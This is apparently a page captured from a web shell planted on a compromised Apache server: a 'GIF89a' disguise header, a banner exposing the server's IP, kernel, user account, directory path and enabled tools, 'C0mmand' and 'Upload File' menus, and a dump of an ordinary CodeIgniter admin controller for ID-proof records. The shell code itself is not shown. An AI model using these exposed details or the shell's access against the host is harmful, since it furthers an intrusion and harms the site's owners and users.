GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.146.152.147 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to ID Proofs * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class IDProof extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/IDProofManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $allIdProofInfo = array(); $idProofInfo = $this->IDProofManagement->getAllIDProofs()->result(); for ($i = 0; $i < sizeof($idProofInfo); $i++) { $idProofFor = ""; $subIdProofInfo = $this->IDProofManagement->getAllSubIDProofsBy($idProofInfo[$i]->tipm_id)->result(); for ($j = 0; $j < sizeof($subIdProofInfo); $j++) { if ($subIdProofInfo[$j]->tipsm_active_status == 'T') { $idProofFor .= $subIdProofInfo[$j]->tipsm_for; } } if ($idProofFor == "SE" || $idProofFor == "ES") { $idProofFor = "Both Students & Employees"; } else if ($idProofFor == "S") { $idProofFor = "Only Students"; } else { $idProofFor = "Only Employees"; } $thisIdProofInfo = array( 'tipm_id' => $idProofInfo[$i]->tipm_id, 'tipm_name' => stripslashes($idProofInfo[$i]->tipm_name), 'tipm_short_name' => stripslashes($idProofInfo[$i]->tipm_short_name), 'tipm_code' => ($idProofInfo[$i]->tipm_code == "" || $idProofInfo[$i]->tipm_code == NULL) ? "NA" : stripslashes($idProofInfo[$i]->tipm_code), 'tipm_proof_type' => $idProofInfo[$i]->tipm_proof_type, 'tipm_proof_type_flag' => $idProofInfo[$i]->tipm_proof_type_flag, 'tipm_proof_for' => $idProofFor, 'tipm_added_on' => $idProofInfo[$i]->tipm_added_on, 'tipm_updated_on' => $idProofInfo[$i]->tipm_updated_on, 'tipm_delete_status' => $idProofInfo[$i]->tipm_delete_status, 'tipm_active_status' => $idProofInfo[$i]->tipm_active_status, 'addedByAdmin' => $idProofInfo[$i]->addedByAdmin, 'updatedByAdmin' => $idProofInfo[$i]->updatedByAdmin, ); array_push($allIdProofInfo, $thisIdProofInfo); } $viewData['allIDProofs'] = $allIdProofInfo; $this->load->view('admin/idProofTypes', $viewData); } else { redirect("admin/"); } } public function createIDProof() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createIDProofType'); } else { redirect("admin/"); } } public function saveNewIDProofType() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('idName', 'ID Proof Name', 'trim|required', array('required' => 'ID Proof Name Can Not Be Blank.')); $this->form_validation->set_rules('idShortName', 'ID Proof Short Name', 'trim|required', array('required' => 'ID Proof Short Name Can Not Be Blank.')); $this->form_validation->set_rules('idCode', 'ID Proof Code', 'trim|required|numeric', array('required' => 'ID Proof Code Is Required.')); $this->form_validation->set_rules('idType', 'ID Proof Type Name', 'trim|required', array('required' => 'Please Select ID Proof Type.')); $this->form_validation->set_rules('idFor', 'ID Proof Applicable For', 'trim|required', array('required' => 'Please Select ID Proof Applicable For.')); $queryByIDProofTypeName = $this->IDProofManagement->getIDProofByName(trim($this->input->post('idName'))); $idProofTypeInfoByName = $queryByIDProofTypeName->result(); $queryByIDProofShortName = $this->IDProofManagement->getIDProofByShortName(trim($this->input->post('idShortName'))); $idProofInfoByShortName = $queryByIDProofShortName->result(); $queryByIDProofInfoByCode = $this->IDProofManagement->getIDProofByCode(trim($this->input->post('idCode'))); $idProofInfoByCode = $queryByIDProofInfoByCode->result(); if ($this->form_validation->run() == FALSE) { $this->createIDProof(); } else if (sizeof($idProofTypeInfoByName)) { $this->session->set_flashdata('errorMessage', "An ID Proof With This Name (" . trim($this->input->post('idName')) . ") Already Exits. Please choose A Different Name."); $this->createIDProof(); } else if (sizeof($idProofInfoByShortName)) { $this->session->set_flashdata('errorMessage', "An ID Proof With This Short Name (" . trim($this->input->post('idShortName')) . ") Already Exits. Please choose A Different Short Name."); $this->createIDProof(); } else if (sizeof($idProofInfoByCode)) { $this->session->set_flashdata('errorMessage', "An ID Proof With This Code (" . trim($this->input->post('idCode')) . ") Already Exits. Please choose A Different Code."); $this->createIDProof(); } else { $newIDProofInfo = array( 'tipm_name' => addslashes(trim($this->input->post('idName'))), 'tipm_short_name' => addslashes(trim($this->input->post('idShortName'))), 'tipm_proof_type' => $this->input->post('idType'), 'tipm_code' => (trim($this->input->post('idCode')) == "") ? "NA" : addslashes(trim($this->input->post('idCode'))), 'tipm_added_on' => date("Y-m-d H:i:s"), 'tipm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipm_updated_on' => date("Y-m-d H:i:s"), 'tipm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $forStudentsOnlySubIdProofArray = array( 'tipsm_for' => 'S', 'tipsm_active_status' => '', 'tipm_id' => '', 'tipsm_added_on' => date("Y-m-d H:i:s"), 'tipsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipsm_updated_on' => date("Y-m-d H:i:s"), 'tipsm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $forEmployeesOnlySubIdProofArray = array( 'tipsm_for' => 'E', 'tipsm_active_status' => '', 'tipm_id' => '', 'tipsm_added_on' => date("Y-m-d H:i:s"), 'tipsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipsm_updated_on' => date("Y-m-d H:i:s"), 'tipsm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $forBothSubIdProofArray = array( 'tipsm_for' => 'B', 'tipsm_active_status' => '', 'tipm_id' => '', 'tipsm_added_on' => date("Y-m-d H:i:s"), 'tipsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipsm_updated_on' => date("Y-m-d H:i:s"), 'tipsm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if (trim($this->input->post('idFor')) == "S") { $forStudentsOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forEmployeesOnlySubIdProofArray['tipsm_active_status'] = 'F'; $forBothSubIdProofArray['tipsm_active_status'] = 'F'; } else if (trim($this->input->post('idFor')) == "E") { $forStudentsOnlySubIdProofArray['tipsm_active_status'] = 'F'; $forEmployeesOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forBothSubIdProofArray['tipsm_active_status'] = 'F'; } else { $forStudentsOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forEmployeesOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forBothSubIdProofArray['tipsm_active_status'] = 'F'; } $this->db->trans_start(); $tipm_id = $this->IDProofManagement->createNewIDProofType($newIDProofInfo); if ($tipm_id) { $forStudentsOnlySubIdProofArray['tipm_id'] = $tipm_id; $forEmployeesOnlySubIdProofArray['tipm_id'] = $tipm_id; $forBothSubIdProofArray['tipm_id'] = $tipm_id; $newSubIdProofInfo = array($forStudentsOnlySubIdProofArray, $forEmployeesOnlySubIdProofArray, $forBothSubIdProofArray); if ($this->IDProofManagement->createNewSubIDProofTypeMulti($newSubIdProofInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'IDProof Created Successfully.'); redirect("admin/IDProof"); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating IDProof. Try Later.'); redirect("admin/IDProof"); } } } else { redirect("admin/"); } } public function editIDProof($tipm_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['idProofInfo'] = $this->IDProofManagement->getIDProofBy($tipm_id)->result()[0]; $viewData['subIDProofInfo'] = $this->IDProofManagement->getAllSubIDProofsBy($tipm_id)->result(); $this->load->view('admin/editIDProofType', $viewData); } else { redirect("admin/"); } } public function updateIDProofType() { if ($this->sessionvalidator->isLoggedIn()) { $tipm_id = $this->input->post('idProofId'); $this->form_validation->set_rules('idName', 'ID Proof Name', 'trim|required', array('required' => 'ID Proof Name Can Not Be Blank.')); $this->form_validation->set_rules('idShortName', 'ID Proof Short Name', 'trim|required', array('required' => 'ID Proof Short Name Can Not Be Blank.')); $this->form_validation->set_rules('idCode', 'ID Proof Code', 'trim|required|numeric', array('required' => 'ID Proof Code Is Required.')); $this->form_validation->set_rules('idType', 'ID Proof Type Name', 'trim|required', array('required' => 'Please Select ID Proof Type.')); $this->form_validation->set_rules('idFor', 'ID Proof Applicable For', 'trim|required', array('required' => 'Please Select ID Proof Applicable For.')); if ($this->form_validation->run() == FALSE) { $this->editIDProof($tipm_id); } else if (!$this->IDProofManagement->isIDProofNameSafeUpdate($tipm_id, trim($this->input->post('idName')))) { $this->session->set_flashdata('errorMessage', "An ID Proof With This Name (" . trim($this->input->post('idName')) . ") Already Exits. Please Choose A Different Name."); $this->editIDProof($tipm_id); } else if (!$this->IDProofManagement->isIDProofShortNameSafeUpdate($tipm_id, trim($this->input->post('idShortName')))) { $this->session->set_flashdata('errorMessage', "An ID Proof With This Short Name (" . trim($this->input->post('idShortName')) . ") Already Exits. Please Choose A Different Short Name."); $this->editIDProof($tipm_id); } else if (!$this->IDProofManagement->isIDProofCodeSafeUpdate($tipm_id, trim($this->input->post('idCode')))) { $this->session->set_flashdata('errorMessage', "An ID Proof With This Code (" . trim($this->input->post('idCode')) . ") Already Exits. Please Choose A Different Code."); $this->editIDProof($tipm_id); } else { $idProofInfo = array( 'tipm_id' => $tipm_id, 'tipm_name' => addslashes(trim($this->input->post('idName'))), 'tipm_short_name' => addslashes(trim($this->input->post('idShortName'))), 'tipm_proof_type' => $this->input->post('idType'), 'tipm_code' => (trim($this->input->post('idCode')) == "") ? "NA" : addslashes(trim($this->input->post('idCode'))), 'tipm_updated_on' => date("Y-m-d H:i:s"), 'tipm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $forStudentsOnlySubIdProofArray = array( 'tipsm_for' => 'S', 'tipsm_active_status' => '', 'tipm_id' => $tipm_id, 'tipsm_added_on' => date("Y-m-d H:i:s"), 'tipsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipsm_updated_on' => date("Y-m-d H:i:s"), 'tipsm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $forEmployeesOnlySubIdProofArray = array( 'tipsm_for' => 'E', 'tipsm_active_status' => '', 'tipm_id' => $tipm_id, 'tipsm_added_on' => date("Y-m-d H:i:s"), 'tipsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipsm_updated_on' => date("Y-m-d H:i:s"), 'tipsm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $forBothSubIdProofArray = array( 'tipsm_for' => 'B', 'tipsm_active_status' => '', 'tipm_id' => $tipm_id, 'tipsm_added_on' => date("Y-m-d H:i:s"), 'tipsm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipsm_updated_on' => date("Y-m-d H:i:s"), 'tipsm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if (trim($this->input->post('idFor')) == "S") { $forStudentsOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forEmployeesOnlySubIdProofArray['tipsm_active_status'] = 'F'; $forBothSubIdProofArray['tipsm_active_status'] = 'F'; } else if (trim($this->input->post('idFor')) == "E") { $forStudentsOnlySubIdProofArray['tipsm_active_status'] = 'F'; $forEmployeesOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forBothSubIdProofArray['tipsm_active_status'] = 'F'; } else { $forStudentsOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forEmployeesOnlySubIdProofArray['tipsm_active_status'] = 'T'; $forBothSubIdProofArray['tipsm_active_status'] = 'F'; } $this->db->trans_start(); if ($this->IDProofManagement->updateIDProofTypeInfo($idProofInfo)) { $this->IDProofManagement->deleteSubIDProofMappingBy($tipm_id); $newSubIdProofInfo = array($forStudentsOnlySubIdProofArray, $forEmployeesOnlySubIdProofArray, $forBothSubIdProofArray); if ($this->IDProofManagement->createNewSubIDProofTypeMulti($newSubIdProofInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'IDProof Updated Successfully.'); redirect("admin/IDProof"); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating IDProof. Try Later.'); redirect("admin/IDProof"); } } } else { redirect("admin/"); } } public function toggleIDProofStatus($tipm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $idProofUpdateData = array( 'tipm_id' => $tipm_id, 'tipm_updated_on' => date("Y-m-d H:i:s"), 'tipm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tipm_active_status' => $toUpdateStatus ); if ($this->IDProofManagement->updateIDProofTypeInfo($idProofUpdateData)) { $this->session->set_flashdata('successMessage', 'ID Proof Status Updated Successfully.'); redirect("admin/IDProof"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating ID Proof Status. Try Later.'); redirect("admin/IDProof"); } } else { redirect("admin/"); } } public function deleteIDProof($tipm_id) { if ($this->sessionvalidator->isLoggedIn()) { $idProofUpdateData = array( 'tipm_id' => $tipm_id, 'tipm_updated_on' => date("Y-m-d H:i:s"), 'tipm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tipm_delete_status' => 'T' ); if ($this->IDProofManagement->updateIDProofTypeInfo($idProofUpdateData)) { $this->session->set_flashdata('successMessage', 'ID Proof Deleted Successfully.'); redirect("admin/IDProof"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting ID Proof. Try Later.'); redirect("admin/IDProof"); } } else { redirect("admin/"); } } public function undoDeleteIDProof($tipm_id) { if ($this->sessionvalidator->isLoggedIn()) { $idProofUpdateData = array( 'tipm_id' => $tipm_id, 'tipm_updated_on' => date("Y-m-d H:i:s"), 'tipm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tipm_delete_status' => 'F' ); if ($this->IDProofManagement->updateIDProofTypeInfo($idProofUpdateData)) { $this->session->set_flashdata('successMessage', 'ID Proof Recovered Successfully.'); redirect("admin/IDProof"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering ID Proof. Try Later.'); redirect("admin/IDProof"); } } else { redirect("admin/"); } } }